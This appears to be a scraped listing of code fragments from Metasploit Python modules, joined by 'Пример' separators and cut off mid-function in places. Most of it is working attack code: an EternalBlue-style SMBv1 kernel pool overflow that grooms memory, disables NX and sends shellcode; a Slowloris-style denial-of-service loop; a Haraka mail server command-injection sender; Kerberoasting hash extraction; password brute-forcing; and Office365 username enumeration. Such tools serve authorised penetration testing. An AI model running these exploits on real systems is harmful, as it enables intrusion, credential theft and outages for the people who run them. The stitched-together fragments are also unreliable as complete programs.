    pkt = smb.NewSMBPacket()
    pkt['Tid'] = tid

    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
    transCommand['Parameters'] = smb.SMBEcho_Parameters()
    transCommand['Data'] = smb.SMBEcho_Data()

    transCommand['Parameters']['EchoCount'] = 1
    transCommand['Data']['Data'] = data
    pkt.addCommand(transCommand)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        module.log('got good ECHO response')
    else:
        module.log('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
def check_users(in_q, out_q, url, password, timeout):
    """Thread worker function which retrieves candidate username from input queue runs the check_user function and
    outputs the result to the output queue."""
    while not SHUTDOWN_EVENT.is_set():
        try:
            user = in_q.get()
        except queue.Empty as e:
            msg = "check_users: in_q empty"
            if MSF:
                module.log(msg, "debug")
            else:
                logging.debug(msg)
            continue
        if user == DIE:
            in_q.task_done()
            msg = "check_users thread dying"
            if MSF:
                module.log(msg, "debug")
            else:
                logging.debug(msg)
            break
        else:
            msg = "checking: {}".format(user)
            if MSF:
                module.log(msg, "debug")
            else:
                logging.debug(msg)
            try:
                result = check_user(url, user, password, timeout)
            except Exception as e:
                msg = "Error checking {} : {}".format(user, e)
                if MSF:
                    module.log(msg, "error")
                else:
                    logging.error(msg)
                in_q.task_done()
                continue
            msg = "{}".format(result)
            if MSF:
                module.log(msg, "debug")
            else:
                logging.debug(msg)
            out_q.put(result)
            in_q.task_done()
Пример #45
0
def check_banner(args):
    module.log('{}:{} Starting banner check for Haraka < 2.8.9'.format(args['rhost'], args['rport']), level='debug')
    c = smtplib.SMTP()
    (code, banner) = c.connect(args['rhost'], int(args['rport']))
    c.quit()

    if code == 220 and 'Haraka' in banner:
        versions = re.findall('(\d+\.\d+\.\d+)', banner)
        if versions:
            if StrictVersion(versions[0]) < StrictVersion('2.8.9'):
                return 'appears'
            else:
                return 'safe'
        else:
            return 'detected'
    elif code == 220:
        return 'detected'
    else:
        return 'unknown'
Пример #46
0
def run_scanner(args, login_callback):
    userpass = args['userpass']
    rhost = args['rhost']
    rport = int(args['rport'])
    sleep_interval = float(args['sleep_interval'])

    if isinstance(userpass, str):
        userpass = [ attempt.split(' ', 1) for attempt in userpass.splitlines() ]

    curr = 0
    total = len(userpass)
    pad_to = len(str(total))

    for [username, password] in userpass:
        try:
            # Call per-combo login function
            curr += 1
            if login_callback(rhost, rport, username, password):
                module.log('{}:{} - [{:>{pad_to}}/{}] - {}:{} - Success'
                        .format(rhost, rport, curr, total, username, password, pad_to=pad_to), level='good')
                module.report_correct_password(username, password)
            else:
                module.log('{}:{} - [{:>{pad_to}}/{}] - {}:{} - Failure'
                        .format(rhost, rport, curr, total, username, password, pad_to=pad_to), level='info')
                module.report_wrong_password(username, password)

            time.sleep(sleep_interval)
        except Exception as e:
            module.log('{}:{} - [{:>{pad_to}}/{}] - {}:{} - Error: {}'
                    .format(rhost, rport, curr, total, username, password, e, pad_to=pad_to), level='error')
Пример #47
0
    def getTGT(self):
        try:
            ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
        except:
            pass
        else:
            domain = self.__domain
            principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
            creds = ccache.getCredential(principal)
            if creds is not None:
                TGT = creds.toTGT()
                module.log('Using TGT from cache', level='debug')
                return TGT
            else:
                module.log('No valid credentials found in cache', level='debug')

        # No TGT in cache, request it
        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the
        # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
        # cleartext password.
        # If no clear text password is provided, we just go with the defaults.
        try:
            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain,
                                                            compute_lmhash(password),
                                                            compute_nthash(password), self.__aesKey,
                                                            kdcHost=self.__kdcHost)
        except Exception, e:
            module.log('Exception for getKerberosTGT', level='error')
            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                unhexlify(self.__lmhash),
                                                                unhexlify(self.__nthash), self.__aesKey,
                                                                kdcHost=self.__kdcHost)
def createSessionAllocNonPaged(target, port, size, username, password):
    conn = MYSMB(target, port, use_ntlmv2=False)  # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
    _, flags2 = conn.get_flags()
    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    if size >= 0xffff:
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
    else:
        flags2 |= smb.SMB.FLAGS2_UNICODE
        reqSize = size
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

    sessionSetup['Parameters']['MaxBufferSize']      = 61440  # can be any value greater than response size
    sessionSetup['Parameters']['MaxMpxCount']        = 2  # can by any value
    sessionSetup['Parameters']['VcNumber']           = 2  # any non-zero
    sessionSetup['Parameters']['SessionKey']         = 0
    sessionSetup['Parameters']['SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
    sessionSetup['Parameters']['Capabilities']       = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS

    sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        module.log('SMB1 session setup allocate nonpaged pool success')
        return conn

    if username:
        # Try login with valid user because anonymous user might get access denied on Windows Server 2012.
        # Note: If target allows only NTLMv2 authentication, the login will always fail.
        # support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
        conn.set_flags(flags2=flags2)

        # new SMB packet to reset flags
        pkt = smb.NewSMBPacket()
        pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(password))
        # UnicodePasswordLen field is in Reserved for extended security format.
        sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
        sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(username)) + pwd_unicode + username + '\x00'*16
        pkt.addCommand(sessionSetup)

        conn.sendSMB(pkt)
        recvPkt = conn.recvSMB()
        if recvPkt.getNTStatus() == 0:
            module.log('SMB1 session setup allocate nonpaged pool success')
            return conn

    # lazy to check error code, just print fail message
    module.log('SMB1 session setup allocate nonpaged pool failed', 'error')
    sys.exit(1)
Пример #49
0
def run(args):
    host = args['rhost']
    port = int(args['rport'])
    use_ssl = args['ssl'] == "true"
    rand_user_agent = args['rand_user_agent'] == "true"
    socket_count = int(args['sockets'])
    delay = int(args['delay'])

    module.log("Attacking %s with %s sockets" % (host, socket_count), 'info')

    module.log("Creating sockets...", 'info')
    for i in range(socket_count):
        try:
            module.log("Creating socket number %s" % i, 'debug')
            s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent)
        except socket.error:
            break
        list_of_sockets.append(s)

    while True:
        module.log("Sending keep-alive headers... Socket count: %s" % len(list_of_sockets), 'info')
        for s in list(list_of_sockets):
            try:
                s.send("{}: {}\r\n".format(create_random_header_name(random.randint(8, 16)),
                                           random.randint(1, 5000)).encode("utf-8"))

            except socket.error:
                list_of_sockets.remove(s)

        for _ in range(socket_count - len(list_of_sockets)):
            module.log("Recreating socket...", 'debug')
            try:
                s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent)
                if s:
                    list_of_sockets.append(s)
            except socket.error:
                break
        time.sleep(delay)
Пример #50
0
    def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn):
        decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

        # According to RFC4757 the cipher part is like:
        # struct EDATA {
        #       struct HEADER {
        #               OCTET Checksum[16];
        #               OCTET Confounder[8];
        #       } Header;
        #       OCTET Data[0];
        # } edata;
        #
        # In short, we're interested in splitting the checksum and the rest of the encrypted data
        #
        if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
            module.log('{}'.format(entry), level='good')
        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
            module.log('{}'.format(entry), level='good')
        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
            module.log('{}'.format(entry), level='good')
        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
            module.log('{}'.format(entry), level='good')
        else:
            pass
Пример #51
0
    def printTable(items, header):
        colLen = []
        for i, col in enumerate(header):
            rowMaxLen = max([len(row[i]) for row in items])
            colLen.append(max(rowMaxLen, len(col)))

        outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])

        # Print header
        module.log('{}'.format(outputFormat.format(*header)), level='good')
        module.log('{}'.format('  '.join(['-' * itemLen for itemLen in colLen])), level='good')

        # And now the rows
        for row in items:
            module.log('{}'.format(outputFormat.format(*row)), level='good')
def run(args):

    # Define UdaExec ODBC connection "application", must be before LogHandler
    udaExec = teradata.UdaExec(appName="Auth", version="1.0", logConsole=False, configureLogging=False)

    # Metasploit LogHandler
    module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))

    # Return error for missing dependency
    if dependencies_missing:
        logging.error('Python Teradata module missing, cannot continue')
        return

    # Set variables to current RHOST, and USERNAME and PASSWORD options
    host = args['rhost']
    user = args['username']
    password = args['password']

    # Perform login attempt
    module.log(host + ' - ' + user + ':' + password + ' - Starting')
    try:
        session = udaExec.connect(method="odbc", system=host, username=user, password=password);
    except teradata.api.Error as e:
        logging.error(user + ':' + password + ' - ' + format(e))
        return
    else:
        module.log(host + ' - ' + user + ':' + password + ' - Login Successful', level='good')
        try:
            query = args['sql']
            module.log(host + ' - Starting - ' + query)
            for row in session.execute(query):
                outputRow=str(row)
                module.log(host + ' - ' + outputRow, level='good')
        except teradata.api.Error as e:
            logging.error(format(e))
            return
Пример #53
0
async def probe_host(host, port, payload, connect_timeout, read_timeout):
    buf = bytearray()

    try:
        async with timeout(connect_timeout):
            r, w = await asyncio.open_connection(host, port)
            remote = w.get_extra_info('peername')
            if remote[0] == host:
                module.log('{}:{} - Connected'.format(host, port), level='debug')
            else:
                module.log('{}({}):{} - Connected'.format(host, *remote), level='debug')
            w.write(payload)
            await w.drain()

        async with timeout(read_timeout):
            while len(buf) < 4096:
                data = await r.read(4096)
                if data:
                    module.log('{}:{} - Received {} bytes'.format(host, port, len(data)), level='debug')
                    buf.extend(data)
                else:
                    break
    except asyncio.TimeoutError:
        if buf:
            pass
        else:
            raise
    finally:
        try:
            w.close()
        except Exception:
            # Either we got something and the socket got in a bad state, or the
            # original error will point to the root cause
            pass

    return buf
def _exploit(target, port, feaList, shellcode, numGroomConn, username, password):
    # force using smb.SMB for SMB1
    conn = smb.SMB(target, target, sess_port = port)
    conn.login(username, password)
    server_os = conn.get_server_os()
    module.log('Target OS: '+server_os)
    if server_os.startswith("Windows 10 "):
        build = int(server_os.split()[-1])
        if build >= 14393:  # version 1607
            module.log('This exploit does not support this build: {} >= 14393'.format(build), 'error')
            sys.exit(1)
    elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
        module.log('This exploit does not support this target: {}'.format(server_os), 'error')
        sys.exit(1)

    tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')

    # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
    # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
    progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)

    # Another TRANS2_OPEN2 (0) with special feaList for disabling NX
    nxconn = smb.SMB(target, target, sess_port = port)
    nxconn.login(username, password)
    nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
    nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)

    # create some big buffer at server
    # this buffer MUST NOT be big enough for overflown buffer
    allocConn = createSessionAllocNonPaged(target, port, NTFEA_SIZE - 0x2010, username, password)

    # groom nonpaged pool
    # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
    srvnetConn = []
    for i in range(numGroomConn):
        sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True)
        srvnetConn.append(sk)

    # create buffer size NTFEA_SIZE at server
    # this buffer will be replaced by overflown buffer
    holeConn = createSessionAllocNonPaged(target, port, NTFEA_SIZE-0x10, username, password)
    # disconnect allocConn to free buffer
    # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
    allocConn.get_socket().close()

    # hope one of srvnetConn is next to holeConn
    for i in range(5):
        sk = createConnectionWithBigSMBFirst80(target, port, for_nx=True)
        srvnetConn.append(sk)

    # remove holeConn to create hole for fea buffer
    holeConn.get_socket().close()

    # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
    # first trigger, overwrite srvnet buffer struct for disabling NX
    send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
    recvPkt = nxconn.recvSMB()
    retStatus = recvPkt.getNTStatus()
    if retStatus == 0xc000000d:
        module.log('good response status for nx: INVALID_PARAMETER')
    else:
        module.log('bad response status for nx: 0x{:08x}'.format(retStatus), 'error')

    # one of srvnetConn struct header should be modified
    # send '\x00' to disable nx
    for sk in srvnetConn:
        sk.send('\x00')

    # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
    # second trigger, place fake struct and shellcode
    send_trans2_second(conn, tid, feaList[progress:], progress)
    recvPkt = conn.recvSMB()
    retStatus = recvPkt.getNTStatus()
    if retStatus == 0xc000000d:
        module.log('good response status: INVALID_PARAMETER')
    else:
        module.log('bad response status: 0x{:08x}'.format(retStatus), 'error')

    # one of srvnetConn struct header should be modified
    # a corrupted buffer will write recv data in designed memory address
    for sk in srvnetConn:
        sk.send(fake_recv_struct + shellcode)

    # execute shellcode
    for sk in srvnetConn:
        sk.close()

    # nicely close connection (no need for exploit)
    nxconn.disconnect_tree(tid)
    nxconn.logoff()
    nxconn.get_socket().close()
    conn.disconnect_tree(tid)
    conn.logoff()
    conn.get_socket().close()
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
    pkt = smb.NewSMBPacket()
    pkt['Tid'] = tid

    command = pack('<H', setup)

    # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
    transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
    transCommand['Parameters']['MaxSetupCount'] = 1
    transCommand['Parameters']['MaxParameterCount'] = len(param)
    transCommand['Parameters']['MaxDataCount'] = 0
    transCommand['Data'] = smb.SMBTransaction2_Data()

    transCommand['Parameters']['Setup'] = command
    transCommand['Parameters']['TotalParameterCount'] = len(param)
    transCommand['Parameters']['TotalDataCount'] = len(data)

    fixedOffset = 32+3+38 + len(command)
    if len(param) > 0:
        padLen = (4 - fixedOffset % 4 ) % 4
        padBytes = '\xFF' * padLen
        transCommand['Data']['Pad1'] = padBytes
    else:
        transCommand['Data']['Pad1'] = ''
        padLen = 0

    transCommand['Parameters']['ParameterCount'] = len(param)
    transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

    if len(data) > 0:
        pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
        transCommand['Data']['Pad2'] = '\xFF' * pad2Len
    else:
        transCommand['Data']['Pad2'] = ''
        pad2Len = 0

    transCommand['Parameters']['DataCount'] = firstDataFragmentSize
    transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

    transCommand['Data']['Trans_Parameters'] = param
    transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
    pkt.addCommand(transCommand)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB() # must be success
    if recvPkt.getNTStatus() == 0:
        module.log('got good NT Trans response')
    else:
        module.log('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
        sys.exit(1)

    # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
    i = firstDataFragmentSize
    while i < len(data):
        sendSize = min(4096, len(data) - i)
        if len(data) - i <= 4096:
            if not sendLastChunk:
                break
        send_trans2_second(conn, tid, data[i:i+sendSize], i)
        i += sendSize

    if sendLastChunk:
        conn.recvSMB()
    return i
        else:
            logging.critical(msg)
        SHUTDOWN_EVENT.set()

        for thread in threads:
            while thread.is_alive():
                thread.join(timeout=0.1)
        out_q.put(DIE)
        for thread in meta_threads:
            while thread.is_alive():
                thread.join(timeout=0.1)


if __name__ == "__main__":
    if MSF:
        module.log(get_banner(), "info")
        module.run(metadata, run)
    else:
        print(get_banner())
        parser = argparse.ArgumentParser(description="Enumerate Usernames (email addresses) from Office365 ActiveSync")
        parser.add_argument("-u", "--users", help="Potential usernames file, one username per line", required=True)
        parser.add_argument("-o", "--output", help="Output file (will be appended to)", required=True)
        parser.add_argument("--password", default=default_password,
                            help="Password to use during enumeration. Default: {}".format(default_password))
        parser.add_argument("--url", help="ActiveSync URL. Default: {}".format(default_url), default=default_url)
        parser.add_argument("--threads", help="Maximum threads. Default: {}".format(default_max_threads),
                            default=default_max_threads, type=int)
        parser.add_argument("--timeout", help="HTTP Timeout. Default: {}".format(default_timeout),
                            default=default_timeout, type=float)
        parser.add_argument("-v", "--verbose", help="Debug logging", action="store_true")
        parser.add_argument("--logfile", help="Log File", default=None)
Пример #57
0
 def send_data(self, data):
     self.execute_remote(data)
     if self._noOutput is False:
         module.log(self._outputBuffer)
     self._outputBuffer = ''
def run(args):
    if dependencies_missing:
        module.log("Module dependencies (gmpy2 and cryptography python libraries) missing, cannot continue", level='error')
        return

    target = (args['rhost'], int(args['rport']))
    timeout = float(args['timeout'])
    cipher_handshake = cipher_handshakes[args['cipher_group']]

    module.log("{}:{} - Scanning host for Bleichenbacher oracle".format(*target), level='debug')

    N, e = get_rsa_from_server(target, timeout)

    if not N:
        module.log("{}:{} - Cannot establish SSL connection: {}".format(*target, e), level='error')
        return

    modulus_bits = int(math.ceil(math.log(N, 2)))
    modulus_bytes = (modulus_bits + 7) // 8
    module.log("{}:{} - RSA N: {}".format(*target, hex(N)), level='debug')
    module.log("{}:{} - RSA e: {}".format(*target, hex(e)), level='debug')
    module.log("{}:{} - Modulus size: {} bits, {} bytes".format(*target, modulus_bits, modulus_bytes), level='debug')

    cke_2nd_prefix = bytearray.fromhex("{0:0{1}x}".format(modulus_bytes + 6, 4) + "10" + "{0:0{1}x}".format(modulus_bytes + 2, 6) + "{0:0{1}x}".format(modulus_bytes, 4))
    # pad_len is length in hex chars, so bytelen * 2
    pad_len = (modulus_bytes - 48 - 3) * 2
    rnd_pad = ("abcd" * (pad_len // 2 + 1))[:pad_len]

    rnd_pms = "aa112233445566778899112233445566778899112233445566778899112233445566778899112233445566778899"
    pms_good_in = int("0002" + rnd_pad + "00" + "0303" + rnd_pms, 16)
    # wrong first two bytes
    pms_bad_in1 = int("4117" + rnd_pad + "00" + "0303" + rnd_pms, 16)
    # 0x00 on a wrong position, also trigger older JSSE bug
    pms_bad_in2 = int("0002" + rnd_pad + "11" + rnd_pms + "0011", 16)
    # no 0x00 in the middle
    pms_bad_in3 = int("0002" + rnd_pad + "11" + "1111" + rnd_pms, 16)
    # wrong version number (according to Klima / Pokorny / Rosa paper)
    pms_bad_in4 = int("0002" + rnd_pad + "00" + "0202" + rnd_pms, 16)

    pms_good = int(gmpy2.powmod(pms_good_in, e, N)).to_bytes(modulus_bytes, byteorder="big")
    pms_bad1 = int(gmpy2.powmod(pms_bad_in1, e, N)).to_bytes(modulus_bytes, byteorder="big")
    pms_bad2 = int(gmpy2.powmod(pms_bad_in2, e, N)).to_bytes(modulus_bytes, byteorder="big")
    pms_bad3 = int(gmpy2.powmod(pms_bad_in3, e, N)).to_bytes(modulus_bytes, byteorder="big")
    pms_bad4 = int(gmpy2.powmod(pms_bad_in4, e, N)).to_bytes(modulus_bytes, byteorder="big")

    oracle_good = oracle(target, pms_good, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout)
    oracle_bad1 = oracle(target, pms_bad1, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout)
    oracle_bad2 = oracle(target, pms_bad2, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout)
    oracle_bad3 = oracle(target, pms_bad3, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout)
    oracle_bad4 = oracle(target, pms_bad4, cke_2nd_prefix, cipher_handshake, messageflow=False, timeout=timeout)

    if (oracle_good == oracle_bad1 == oracle_bad2 == oracle_bad3 == oracle_bad4):
        module.log("{}:{} - Identical results ({}), retrying with changed messageflow".format(*target, oracle_good), level='info')
        oracle_good = oracle(target, pms_good, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout)
        oracle_bad1 = oracle(target, pms_bad1, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout)
        oracle_bad2 = oracle(target, pms_bad2, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout)
        oracle_bad3 = oracle(target, pms_bad3, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout)
        oracle_bad4 = oracle(target, pms_bad4, cke_2nd_prefix, cipher_handshake, messageflow=True, timeout=timeout)
        if (oracle_good == oracle_bad1 == oracle_bad2 == oracle_bad3 == oracle_bad4):
            module.log("{}:{} - Identical results ({}), no working oracle found".format(*target, oracle_good), level='info')
            return
        else:
            flow = True
    else:
        flow = False

    # Re-checking all oracles to avoid unreliable results
    oracle_good_verify = oracle(target, pms_good, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout)
    oracle_bad_verify1 = oracle(target, pms_bad1, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout)
    oracle_bad_verify2 = oracle(target, pms_bad2, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout)
    oracle_bad_verify3 = oracle(target, pms_bad3, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout)
    oracle_bad_verify4 = oracle(target, pms_bad4, cke_2nd_prefix, cipher_handshake, messageflow=flow, timeout=timeout)

    if (oracle_good != oracle_good_verify) or (oracle_bad1 != oracle_bad_verify1) or (oracle_bad2 != oracle_bad_verify2) or (oracle_bad3 != oracle_bad_verify3) or (oracle_bad4 != oracle_bad_verify4):
        module.log("{}:{} - Getting inconsistent results, skipping".format(*target), level='warning')
        return

    # If the response to the invalid PKCS#1 request (oracle_bad1) is equal to both
    # requests starting with 0002, we have a weak oracle. This is because the only
    # case where we can distinguish valid from invalid requests is when we send
    # correctly formatted PKCS#1 message with 0x00 on a correct position. This
    # makes our oracle weak
    if (oracle_bad1 == oracle_bad2 == oracle_bad3):
        oracle_strength = "weak"
    else:
        oracle_strength = "strong"

    if flow:
        flowt = "shortened"
    else:
        flowt = "standard"

    s, cke_version = tls_connect(target, timeout, cipher_handshake)
    s.close()

    if cke_version[0] == 3 and cke_version[1] == 0:
        tlsver = "SSLv3"
    elif cke_version[0] == 3 and cke_version[1] == 1:
        tlsver = "TLSv1.0"
    elif cke_version[0] == 3 and cke_version[1] == 2:
        tlsver = "TLSv1.1"
    elif cke_version[0] == 3 and cke_version[1] == 3:
        tlsver = "TLSv1.2"
    else:
        tlsver = "TLS raw version %i/%i" % (cke_version[0], cke_version[1])

    module.report_vuln(target[0], 'Bleichenbacher Oracle', port=target[1])
    module.log("{}:{} - Vulnerable: ({}) oracle found {} with {} message flow".format(*target, oracle_strength, tlsver, flowt), level='good')

    module.log("{}:{} - Result of good request:                        {}".format(*target, oracle_good), level='debug')
    module.log("{}:{} - Result of bad request 1 (wrong first bytes):   {}".format(*target, oracle_bad1), level='debug')
    module.log("{}:{} - Result of bad request 2 (wrong 0x00 position): {}".format(*target, oracle_bad2), level='debug')
    module.log("{}:{} - Result of bad request 3 (missing 0x00):        {}".format(*target, oracle_bad3), level='debug')
    module.log("{}:{} - Result of bad request 4 (bad TLS version):     {}".format(*target, oracle_bad4), level='debug')
Пример #59
0
def send_mail(to, mailserver, cmd, mfrom, port):
    msg = MIMEMultipart()
    html = "harakiri"
    msg['Subject'] = "harakiri"
    msg['From'] = mfrom
    msg['To'] = to
    f = "harakiri.zip"
    msg.attach(MIMEText(html))
    module.log("Send harariki to %s, commandline: %s , mailserver %s is used for delivery"%(to, cmd, mailserver), 'debug')
    part = MIMEApplication(create_zip(cmd),Name="harakiri.zip")
    part['Content-Disposition'] = 'attachment; filename="harakiri.zip"'
    msg.attach(part)
    module.log("Sending mail to target server...")
    module.log(msg.as_string(), 'debug')
    s = smtplib.SMTP(mailserver, port)
    try:
      resp = s.sendmail(mfrom, to, msg.as_string())
    except smtplib.SMTPDataError as err:
      if err[0] == 450:
        module.log("Triggered bug in target server (%s)"%err[1], 'good')
        s.close()
        return(True)
    module.log("Bug not triggered in target server", 'error')
    module.log("it may not be vulnerable or have the attachment plugin activated", 'error')
    s.close()
    return(False)